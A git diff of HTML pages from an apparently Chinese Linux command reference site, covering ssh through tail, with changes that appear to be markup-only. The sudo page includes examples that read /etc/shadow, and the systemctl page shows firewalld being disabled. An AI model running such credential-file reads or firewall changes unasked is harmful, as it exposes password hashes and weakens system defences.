    - - + + \ No newline at end of file diff --git a/c/ssh.html b/c/ssh.html index 0d6c725d28..9820fa870e 100644 --- a/c/ssh.html +++ b/c/ssh.html @@ -9,7 +9,7 @@ ssh 命令,Linux ssh 命令详解:openssh套件中的客户端连接工具 - Linux 命令搜索引擎 - + @@ -172,12 +172,12 @@ customElements.define('markdown-style', MarkdownStyle);# ssh 用户名@远程服务器地址 ssh user1@172.24.210.101 # 指定端口 -ssh -p 2211 root@140.206.185.170 +ssh -p 2211 root@140.206.185.170 # ssh 大家族 -ssh -p 22 user@ip # 默认用户名为当前用户名,默认端口为 22 +ssh -p 22 user@ip # 默认用户名为当前用户名,默认端口为 22 ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥 -ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM +ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录
    通过 iptables 服务限制 SSH 访问

    iptables 是一款内建在 Linux 内核的宿主防火墙。通常配置用于保护服务器以防止被访问那些未明确开启的端口。

    如果服务器上启用了 iptables,使用下面的命令将可以允许进入的 SSH 访问,当然命令需要以 root 身份运行。

    -
    iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    -iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
    +
    iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
    +iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
     
    @@ -248,7 +248,7 @@ iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEP
    service iptables save
     
    - - + + \ No newline at end of file diff --git a/c/sshd.html b/c/sshd.html index 65f50633bd..12c9b20688 100644 --- a/c/sshd.html +++ b/c/sshd.html @@ -9,7 +9,7 @@ sshd 命令,Linux sshd 命令详解:openssh软件套件中的服务器守护进程 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/startx.html b/c/startx.html index 49d52f0936..30d78b3748 100644 --- a/c/startx.html +++ b/c/startx.html @@ -9,7 +9,7 @@ startx 命令,Linux startx 命令详解:用来启动X Window - Linux 命令搜索引擎 - + @@ -132,31 +132,31 @@ customElements.define('markdown-style', MarkdownStyle);

    要在工作站上强制启动 X 会话,请输入: 

    -
    startx -w
    +
    startx -w
     

    要为 X 终端启动 X 会话,并注销用户的 telnet 会话,请输入:

    -
    startx; kill -9 $
    +
    startx; kill -9 $
     

    要使用 .xinitrc 脚本启动 X 会话,请输入:

    -
    startx -x .xinitrc
    +
    startx -x .xinitrc
     

    要使用 mwm 窗口管理器启动 X 会话,请输入:

    -
    startx -m mwm
    +
    startx -m mwm
     

    但是,如果找到启动脚本文件,则忽略-w选项。在启动脚本中,启动窗口管理器、装入X资源以及产生X客户机是用户的责任。以下是.xsession脚本的一个示例。

    #!/bin/csh
      (mwm &)
    - xrdb -load .Xdefaults
    - (xclock -g 75x75+0+0 &)
    - (xbiff -g 75x75+101-0 &)
    + xrdb -load .Xdefaults
    + (xclock -g 75x75+0+0 &)
    + (xbiff -g 75x75+101-0 &)
      if ("/dev/lft*" == "`tty`") then
    -  aixterm -g 80x24+0+0 +ut -C -T `hostname`
    +  aixterm -g 80x24+0+0 +ut -C -T `hostname`
      else
    -  aixterm -g 80x24+0+0 +ut -T `hostname`
    +  aixterm -g 80x24+0+0 +ut -T `hostname`
      endif
     
    - - + + \ No newline at end of file diff --git a/c/stat.html b/c/stat.html index b95d35db10..8523756144 100644 --- a/c/stat.html +++ b/c/stat.html @@ -9,7 +9,7 @@ stat 命令,Linux stat 命令详解:用于显示文件的状态信息 - Linux 命令搜索引擎 - + @@ -179,7 +179,7 @@ Inodes: Total: 249364480 Free: 249139691 [root@localhost ~]# stat -t myfile myfile 0 8 81a4 0 0 fd00 194805815 1 0 0 1292127755 1286628261 1286628261 4096 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/strace.html b/c/strace.html index 584a2aa82b..95e12af869 100644 --- a/c/strace.html +++ b/c/strace.html @@ -9,7 +9,7 @@ strace 命令,Linux strace 命令详解:跟踪系统调用和信号 - Linux 命令搜索引擎 - + @@ -119,12 +119,12 @@ customElements.define('markdown-style', MarkdownStyle);strace命令 是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。当然strace与专业的调试工具比如说gdb之类的是没法相比的,因为它不是一个专业的调试器。

    strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

    语法

    -
    strace  [  -dffhiqrtttTvxx  ] [ -acolumn ] [ -eexpr ] ...
    -    [ -ofile ] [-ppid ] ...  [ -sstrsize ] [ -uusername ]
    -    [ -Evar=val ] ...  [ -Evar  ]...
    +
    strace  [  -dffhiqrtttTvxx  ] [ -acolumn ] [ -eexpr ] ...
    +    [ -ofile ] [-ppid ] ...  [ -sstrsize ] [ -uusername ]
    +    [ -Evar=val ] ...  [ -Evar  ]...
          [command [ arg ...  ] ]
     
    -strace  -c  [ -eexpr ] ...  [ -Ooverhead ] [ -Ssortby ]
    +strace  -c  [ -eexpr ] ...  [ -Ooverhead ] [ -Ssortby ]
         [ command [ arg...  ] ]
     

    选项

    -
    -c 统计每一系统调用的所执行的时间,次数和出错的次数等.
    --d 输出strace关于标准错误的调试信息.
    --f 跟踪由fork调用所产生的子进程.
    --ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
    --F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
    --h 输出简要的帮助信息.
    --i 输出系统调用的入口指针.
    --q 禁止输出关于脱离的消息.
    --r 打印出相对时间关于,,每一个系统调用.
    --t 在输出中的每一行前加上时间信息.
    --tt 在输出中的每一行前加上时间信息,微秒级.
    --ttt 微秒级输出,以秒了表示时间.
    --T 显示每一调用所耗的时间.
    --v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
    --V 输出strace的版本信息.
    --x 以十六进制形式输出非标准字符串
    --xx 所有字符串以十六进制形式输出.
    --a column 设置返回值的输出位置.默认 为40.
    --e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]...
    -qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
    --e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
    --e trace=file 只跟踪有关文件操作的系统调用.
    --e trace=process 只跟踪有关进程控制的系统调用.
    --e trace=network 跟踪与网络有关的所有系统调用.
    --e strace=signal 跟踪所有与系统信号有关的 系统调用
    --e trace=ipc 跟踪所有与进程通讯有关的系统调用
    --e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
    --e raw=set 将指定的系统调用的参数以十六进制显示.
    --e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
    --e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
    --e write=set 输出写入到指定文件中的数据.
    --o filename 将strace的输出写入文件filename
    --p pid 跟踪指定的进程pid.
    --s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
    --u username 以username的UID和GID执行被跟踪的命令
    +
    -c 统计每一系统调用的所执行的时间,次数和出错的次数等.
    +-d 输出strace关于标准错误的调试信息.
    +-f 跟踪由fork调用所产生的子进程.
    +-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
    +-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
    +-h 输出简要的帮助信息.
    +-i 输出系统调用的入口指针.
    +-q 禁止输出关于脱离的消息.
    +-r 打印出相对时间关于,,每一个系统调用.
    +-t 在输出中的每一行前加上时间信息.
    +-tt 在输出中的每一行前加上时间信息,微秒级.
    +-ttt 微秒级输出,以秒了表示时间.
    +-T 显示每一调用所耗的时间.
    +-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
    +-V 输出strace的版本信息.
    +-x 以十六进制形式输出非标准字符串
    +-xx 所有字符串以十六进制形式输出.
    +-a column 设置返回值的输出位置.默认 为40.
    +-e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]...
    +qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
    +-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
    +-e trace=file 只跟踪有关文件操作的系统调用.
    +-e trace=process 只跟踪有关进程控制的系统调用.
    +-e trace=network 跟踪与网络有关的所有系统调用.
    +-e strace=signal 跟踪所有与系统信号有关的 系统调用
    +-e trace=ipc 跟踪所有与进程通讯有关的系统调用
    +-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
    +-e raw=set 将指定的系统调用的参数以十六进制显示.
    +-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
    +-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
    +-e write=set 输出写入到指定文件中的数据.
    +-o filename 将strace的输出写入文件filename
    +-p pid 跟踪指定的进程pid.
    +-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
    +-u username 以username的UID和GID执行被跟踪的命令
     
    oracle@orainst[orcl]:~ -$strace -c ./test +$strace -c ./test
    @@ -413,8 +413,8 @@ $strace -c ./test

    重定向输出

    参数-o用在将strace的结果输出到文件中,如果不指定-o参数的话,默认的输出设备是STDERR,也就是说使用”-o filename”和” 2>filename”的结果是一样的。

    # 这两个命令都是将strace结果输出到文件test.txt中
    -strace -c -o test.txt ./test
    -strace -c ./test  2>test.txt
    +strace -c -o test.txt ./test
    +strace -c ./test  2>test.txt
     
    oracle@orainst[orcl]:~ -$strace -T ./test +$strace -T ./test // 这里只摘录部分结果 read(0, 1 @@ -476,7 +476,7 @@ exit_group(0) = ?

    截断输出

    -s参数用于指定trace结果的每一行输出的字符串的长度,下面看看test程序中-s参数对结果有什么影响,现指定-s为20,然后在read的是是很我们输入一个超过20个字符的数字串

    -
    strace -s 20 ./test
    +
    strace -s 20 ./test
     
     read(0, 2222222222222222222222222      // 我们输入的2一共有25个
     "22222222222222222222"..., 1024) = 26  // 而我们看到的结果中2只有20个
    @@ -487,7 +487,7 @@ read(0, 2222222222222222222222222      // 我们输入的2一共有25个
     " class="copied">

    trace一个现有的进程

    strace不光能自己初始化一个进程进行trace,还能追踪现有的进程,参数-p就是取这个作用的,用法也很简单,具体如下。

    -
    strace -p pid
    +
    strace -p pid
     

    综合例子

    @@ -501,7 +501,7 @@ read(0, 2222222222222222222222222 // 我们输入的2一共有25个 oracle 5912 1 0 Nov12 ? 00:14:56 ora_lgwr_orcl " class="copied">

    得到lgwr的pid是5912,现在启动strace,然后将trace的几个输出到lgwr.txt文件中,执行下面的命令

    -
    strace -tt -s 10 -o lgwr.txt -p 5912
    +
    strace -tt -s 10 -o lgwr.txt -p 5912
     

    过一会之后停止strace,然后查看结果。由于输出的结果比较多,为了方便我们只看Oracle写入log文件时用的pwrite函数的调用

    @@ -613,7 +613,7 @@ lrwx------ 1 oracle dba 64 Dec 30 10:55 25 -> /db/databases/orcl 11:14:05.611022 pwrite(20, "\1\"\0\0i!"..., 1536, 4379136) = 1536 11:14:05.611283 pwrite(21, "\1\"\0\0i!"..., 1536, 4379136) = 1536 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/strings.html b/c/strings.html index 23b85161be..43a93505d5 100644 --- a/c/strings.html +++ b/c/strings.html @@ -9,7 +9,7 @@ strings 命令,Linux strings 命令详解:在对象文件或二进制文件中查找可打印的字符串 - Linux 命令搜索引擎 - + @@ -118,18 +118,18 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。

    语法

    -
    strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ]  [file ... ]
    +
    strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ]  [file ... ]
     

    选项

    -
    -a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
    --f –print-file-name:在显示字符串前先显示文件名
    --n –bytes=[number]:找到并且输出所有NUL终止符序列
    +
    -a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
    +-f –print-file-name:在显示字符串前先显示文件名
    +-n –bytes=[number]:找到并且输出所有NUL终止符序列
     - :设置显示的最少的字符数,默认是4个字符
    --t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
    --o :类似--radix=o
    --T --target= :指定二进制文件格式
    --e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
    +-t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
    +-o :类似--radix=o
    +-T --target= :指定二进制文件格式
    +-e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
     @ :读取中选项
     

    查找ls中包含libc的字符串,不区分大小写:

    -
    strings /bin/ls | grep -i libc
    +
    strings /bin/ls | grep -i libc
     
    - - + + \ No newline at end of file diff --git a/c/stty.html b/c/stty.html index 94f71fb620..0248d98135 100644 --- a/c/stty.html +++ b/c/stty.html @@ -9,7 +9,7 @@ stty 命令,Linux stty 命令详解:修改终端命令行的相关设置 - Linux 命令搜索引擎 - + @@ -132,13 +132,13 @@ customElements.define('markdown-style', MarkdownStyle);实例

    在命令行下,禁止输出大写的方法:

    stty iuclc     #开启
    -stty -iuclc    #恢复
    +stty -iuclc    #恢复
     

    在命令行下禁止输出小写:

    stty olcuc    #开启
    -stty -olcuc   #恢复
    +stty -olcuc   #恢复
     
    @@ -152,7 +152,7 @@ stty -olcuc #恢复 " class="copied">

    系统默认是Ctrl+D来表示文件的结束,而通过这种方法,可以改变!

    屏蔽显示:

    -
    stty -echo   #禁止回显
    +
    stty -echo   #禁止回显
     stty echo    #打开回显
     

    忽略回车符:

    stty igncr     #开启
    -stty -igncr    #恢复
    +stty -igncr    #恢复
     
    @@ -171,8 +171,8 @@ stty -igncr #恢复
    timeout_read()
     {
         timeout=$1
    -    old_stty_settings=`stty -g`  #save current settings
    -    stty -icanon min 0 time 100  #set 10seconds,not 100seconds
    +    old_stty_settings=`stty -g`  #save current settings
    +    stty -icanon min 0 time 100  #set 10seconds,not 100seconds
         eval read varname            #=read $varname
         stty "$old_stty_settings"    #recover settings
     }
    @@ -186,10 +186,10 @@ stty -igncr    #恢复
     }
     " class="copied">

    更简单的方法就是利用read命令的-t选项:

    -
    read -t 10 varname
    +
    read -t 10 varname
     
    - - + + \ No newline at end of file diff --git a/c/su.html b/c/su.html index bcdfaee83f..8e156e0331 100644 --- a/c/su.html +++ b/c/su.html @@ -9,7 +9,7 @@ su 命令,Linux su 命令详解:用于切换当前用户身份到其他用户身份 - Linux 命令搜索引擎 - + @@ -141,18 +141,18 @@ customElements.define('markdown-style', MarkdownStyle);用户:指定要切换身份的目标用户。

    实例

    变更帐号为root并在执行ls指令后退出变回原使用者:

    -
    su -c ls root
    +
    su -c ls root
     

    变更帐号为root并传入-f选项给新执行的shell:

    -
    su root -f
    +
    su root -f
     

    变更帐号为test并改变工作目录至test的家目录:

    -
    su -test
    +
    su -test
     
    - - + + \ No newline at end of file diff --git a/c/sudo.html b/c/sudo.html index 70a161e8cd..9f64bffde8 100644 --- a/c/sudo.html +++ b/c/sudo.html @@ -9,7 +9,7 @@ sudo 命令,Linux sudo 命令详解:以其他身份来执行命令 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);-s<shell>:执行指定的shell; -u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份; -v:延长密码有效期限5分钟; --V :显示版本信息。 +-V :显示版本信息。

    这个命令相当于使用root超级用户重新登录一次shell,只不过密码是使用的当前用户的密码。而且重要是,该命令会 重新加载/etc/profile文件以及/etc/bashrc文件等系统配置文件,并且还会重新加载root用户的$SHELL环境变量所对应的配置文件 ,比如:root超级用户的$SHELL是/bin/bash,则会加载/root/.bashrc等配置。如果是/bin/zsh,则会加载/root/.zshrc等配置,执行后是完全的root环境。

    -
    $ sudo -i
    +
    $ sudo -i
     # env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
     

    这个命令基本与 sudo su - 相同,执行后也是root超级用户的环境,只不过是多了一些当前用户的信息。

    -
    $ sudo -s
    +
    $ sudo -s
     # env|grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'  --color
     

    再来执行命令:

    -
    [foobar@localhost ~]$ sudo head -5 /etc/shadow
    +
    [foobar@localhost ~]$ sudo head -5 /etc/shadow
     Password:
     Sorry, user foobar is not allowed to execute '/usr/bin/head -5 /etc/shadow' as root on localhost.localdomain.
     
    @@ -279,7 +279,7 @@ PWD=/home/foobar ; USER=root ; COMMAND=/bin/cat /etc/shadow
     

    sudo 有自己的方式来保护安全。以root的身份执行sudo-V,查看一下sudo的设置。因为考虑到安全问题,一部分环境变量并没有传递给sudo后面的命令,或者被检查后再传递的,比如:PATH,HOME,SHELL等。当然,你也可以通过sudoers来配置这些环境变量。

    - - + + \ No newline at end of file diff --git a/c/sum.html b/c/sum.html index 9e8c57bfc3..c2ad7a11ab 100644 --- a/c/sum.html +++ b/c/sum.html @@ -9,7 +9,7 @@ sum 命令,Linux sum 命令详解:计算文件的校验码和显示块数 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/supervisord.html b/c/supervisord.html index 9e24a7efbb..fdd1060b26 100644 --- a/c/supervisord.html +++ b/c/supervisord.html @@ -9,7 +9,7 @@ supervisord 命令,Linux supervisord 命令详解:配置后台服务/常驻进程的进程管家工具 - Linux 命令搜索引擎 - + @@ -124,7 +124,7 @@ apt-get install supervisor

    实例

    生成配置文件 /etc/supervisord.conf

    [program:app]
    -command=/usr/bin/gunicorn -w 1 wsgiapp:application
    +command=/usr/bin/gunicorn -w 1 wsgiapp:application
     directory=/srv/www
     user=www-data
     

    下载地址

    https://pypi.python.org/pypi/meld3
    https://pypi.python.org/pypi/supervisor

    - - + + \ No newline at end of file diff --git a/c/suspend.html b/c/suspend.html index ce6a0911c8..5bb814b9a7 100644 --- a/c/suspend.html +++ b/c/suspend.html @@ -9,7 +9,7 @@ suspend 命令,Linux suspend 命令详解:挂起shell的执行。 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -f    对login shell执行挂起操作。
    +
    -f    对login shell执行挂起操作。
     

    返回值

    @@ -145,7 +145,7 @@ echo $$ suspend " class="copied">
    # 再打开一个终端,发送SIGCONT命令
    -kill -s SIGCONT PID
    +kill -s SIGCONT PID
     # 此时之前的终端结束挂起状态,可以正常交互。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -228,7 +228,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/swapoff.html b/c/swapoff.html index 9a22b99412..5476ebeec0 100644 --- a/c/swapoff.html +++ b/c/swapoff.html @@ -9,7 +9,7 @@ swapoff 命令,Linux swapoff 命令详解:关闭指定的交换空间 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);swapoff /dev/sda2
    - - + + \ No newline at end of file diff --git a/c/swapon.html b/c/swapon.html index 2171fd48ae..258cb051c2 100644 --- a/c/swapon.html +++ b/c/swapon.html @@ -9,7 +9,7 @@ swapon 命令,Linux swapon 命令详解:激活Linux系统中交换空间 - Linux 命令搜索引擎 - + @@ -136,12 +136,12 @@ customElements.define('markdown-style', MarkdownStyle);参数

    交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。

    实例

    -
    mkswap -c /dev/hdb4 (-c是检查有无坏块)
    -swapon -v /dev/hdb4
    -swapon -s
    +
    mkswap -c /dev/hdb4 (-c是检查有无坏块)
    +swapon -v /dev/hdb4
    +swapon -s
     Filename                                type            Size    Used    Priority
    -/dev/hda5                               partition       506008 96      -1
    -/dev/hdb4                               partition       489972 0       -2
    +/dev/hda5                               partition       506008 96      -1
    +/dev/hdb4                               partition       489972 0       -2
     
    - - + + \ No newline at end of file diff --git a/c/sync.html b/c/sync.html index ba8c276d16..d4a6ff0052 100644 --- a/c/sync.html +++ b/c/sync.html @@ -9,7 +9,7 @@ sync 命令,Linux sync 命令详解:用于强制被改变的内容立刻写入磁盘 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -d, --data             只同步文件数据,不同步不必要的元数据
    +
    -d, --data             只同步文件数据,不同步不必要的元数据
     -f, --file-system      同步包含这些文件的文件系统
     --help:显示帮助;
     --version:显示版本信息。
    @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);linux系统为了提高读写磁盘的效率,会先将数据放在一块buffer中。在写磁盘时并不是立即将数据写到磁盘中,而是先写入这块buffer中了。此时如果重启系统,就可能造成数据丢失。

    sync命令用来flush文件系统buffer,这样数据才会真正的写到磁盘中,并且buffer才能够释放出来,flush就是用来清空buffer。sync命令会强制将数据写入磁盘中,并释放该数据对应的buffer,所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘。

    如果不去手动的输入sync命令来真正的去写磁盘,linux系统也会周期性的去sync数据。

    - - + + \ No newline at end of file diff --git a/c/sysctl.html b/c/sysctl.html index 160830ffbb..ee058f4c54 100644 --- a/c/sysctl.html +++ b/c/sysctl.html @@ -9,7 +9,7 @@ sysctl 命令,Linux sysctl 命令详解:时动态地修改内核的运行参数 - Linux 命令搜索引擎 - + @@ -145,25 +145,25 @@ customElements.define('markdown-style', MarkdownStyle);读一个指定的变量,例如kern.maxproc

    sysctl kern.maxproc kern.maxproc: 1044

    要设置一个指定的变量,直接用variable=value这样的语法:

    -
    sysctl kern.maxfiles=5000
    +
    sysctl kern.maxfiles=5000
     kern.maxfiles: 2088 -> 5000
     

    您可以使用sysctl修改系统变量,也可以通过编辑sysctl.conf文件来修改系统变量。sysctl.conf看起来很像rc.conf。它用variable=value的形式来设定值。指定的值在系统进入多用户模式之后被设定。并不是所有的变量都可以在这个模式下设定。

    sysctl变量的设置通常是字符串、数字或者布尔型。(布尔型用 1 来表示'yes',用 0 来表示'no')。

    -
    sysctl -w kernel.sysrq=0
    -sysctl -w kernel.core_uses_pid=1
    -sysctl -w net.ipv4.conf.default.accept_redirects=0
    -sysctl -w net.ipv4.conf.default.accept_source_route=0
    -sysctl -w net.ipv4.conf.default.rp_filter=1
    -sysctl -w net.ipv4.tcp_syncookies=1
    -sysctl -w net.ipv4.tcp_max_syn_backlog=2048
    -sysctl -w net.ipv4.tcp_fin_timeout=30
    -sysctl -w net.ipv4.tcp_synack_retries=2
    -sysctl -w net.ipv4.tcp_keepalive_time=3600
    -sysctl -w net.ipv4.tcp_window_scaling=1
    -sysctl -w net.ipv4.tcp_sack=1
    +
    sysctl -w kernel.sysrq=0
    +sysctl -w kernel.core_uses_pid=1
    +sysctl -w net.ipv4.conf.default.accept_redirects=0
    +sysctl -w net.ipv4.conf.default.accept_source_route=0
    +sysctl -w net.ipv4.conf.default.rp_filter=1
    +sysctl -w net.ipv4.tcp_syncookies=1
    +sysctl -w net.ipv4.tcp_max_syn_backlog=2048
    +sysctl -w net.ipv4.tcp_fin_timeout=30
    +sysctl -w net.ipv4.tcp_synack_retries=2
    +sysctl -w net.ipv4.tcp_keepalive_time=3600
    +sysctl -w net.ipv4.tcp_window_scaling=1
    +sysctl -w net.ipv4.tcp_sack=1
     

    编辑完成后,请执行以下命令使变动立即生效:

    -
    /sbin/sysctl -p
    -/sbin/sysctl -w net.ipv4.route.flush=1
    +
    /sbin/sysctl -p
    +/sbin/sysctl -w net.ipv4.route.flush=1
     
    - - + + \ No newline at end of file diff --git a/c/syslog.html b/c/syslog.html index dbf3260980..5e1f75ff4d 100644 --- a/c/syslog.html +++ b/c/syslog.html @@ -9,7 +9,7 @@ syslog 命令,Linux syslog 命令详解:系统默认的日志守护进程 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);logger this is a test log line 输出: -tail -n 1 messages +tail -n 1 messages Jan 5 10:07:03 localhost root: this is a test log line

    如果要记录特定的标记(tag)可以使用:

    -
    logger -t TAG this is a test log line
    +
    logger -t TAG this is a test log line
     
     输出:
    -tail -n 1 messages
    +tail -n 1 messages
     Jan  5 10:37:14 localhost TAG: this is a test log line
     
    - - + + \ No newline at end of file diff --git a/c/systemctl.html b/c/systemctl.html index a87262a958..4996d9552c 100644 --- a/c/systemctl.html +++ b/c/systemctl.html @@ -9,7 +9,7 @@ systemctl 命令,Linux systemctl 命令详解:系统服务管理器指令 - Linux 命令搜索引擎 - + @@ -174,7 +174,7 @@ customElements.define('markdown-style', MarkdownStyle);systemctl disable nfs-server.service # 停止开机自启动 systemctl status nfs-server.service # 查看服务当前状态 systemctl restart nfs-server.service # 重新启动某服务 -systemctl list-units --type=service # 查看所有已启动的服务 +systemctl list-units --type=service # 查看所有已启动的服务

    开启防火墙22端口

    -
    iptables -I INPUT -p tcp --dport 22 -j accept
    +
    iptables -I INPUT -p tcp --dport 22 -j accept
     

    如果仍然有问题,就可能是SELinux导致的

    @@ -197,7 +197,7 @@ systemctl list-units --type=service # 查看所有已启动的服务 sudo systemctl stop firewalld.service           sudo systemctl disable firewalld.service " class="copied">
    - - + + \ No newline at end of file diff --git a/c/systool.html b/c/systool.html index 5021e062c2..1b5a714dd5 100644 --- a/c/systool.html +++ b/c/systool.html @@ -9,7 +9,7 @@ systool 命令,Linux systool 命令详解:显示基于总线、类和拓扑显示系统中设备的信息 - Linux 命令搜索引擎 - + @@ -475,7 +475,7 @@ Supported sysfs modules: xt_tcpudp yenta_socket " class="copied">
    - - + + \ No newline at end of file diff --git a/c/tac.html b/c/tac.html index e142bb749c..6a168f5be5 100644 --- a/c/tac.html +++ b/c/tac.html @@ -9,7 +9,7 @@ tac 命令,Linux tac 命令详解:连接多个文件并以行为单位反向打印到标准输出。 - Linux 命令搜索引擎 - + @@ -129,11 +129,11 @@ customElements.define('markdown-style', MarkdownStyle);选项
    长选项与短选项等价
     
    --b, --before              在之前而不是之后连接分隔符。
    --r, --regex               将分隔符作为基础正则表达式(BRE)处理。
    --s, --separator=STRING    使用STRING作为分隔符代替默认的换行符。
    ---help                    显示帮助信息并退出。
    ---version                 显示版本信息并退出。
    +-b, --before              在之前而不是之后连接分隔符。
    +-r, --regex               将分隔符作为基础正则表达式(BRE)处理。
    +-s, --separator=STRING    使用STRING作为分隔符代替默认的换行符。
    +--help                    显示帮助信息并退出。
    +--version                 显示版本信息并退出。
     
    例子
    # 选自官方info文档的例子:
     # 一个接着一个字符的反转一个文件:
    -tac -r -s 'x\|[^x]' test.log
    +tac -r -s 'x\|[^x]' test.log
     
     # 关于-b选项:
     seq 1 3 |tac
    @@ -156,7 +156,7 @@ customElements.define('markdown-style', MarkdownStyle);2
     1
     # 使用-b选项:
    -seq 1 3 |tac -b
    +seq 1 3 |tac -b
     # 输出,注意21后面没有换行符:
     
     
    @@ -189,7 +189,7 @@ seq 1 3 |tac -b
       
  • 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 tacinfo coreutils 'tac invocation'
  • 关于基础正则表达式(BRE)的内容,详见man -s 1 grepREGULAR EXPRESSIONS段落。
  • - - + + \ No newline at end of file diff --git a/c/tail.html b/c/tail.html index 04313b5172..81937ce117 100644 --- a/c/tail.html +++ b/c/tail.html @@ -9,7 +9,7 @@ tail 命令,Linux tail 命令详解:在屏幕上显示指定文件的末尾若干行 - Linux 命令搜索引擎 - + @@ -140,17 +140,17 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c, --bytes=NUM                 输出文件尾部的NUM(NUM为整数)个字节内容。
    +
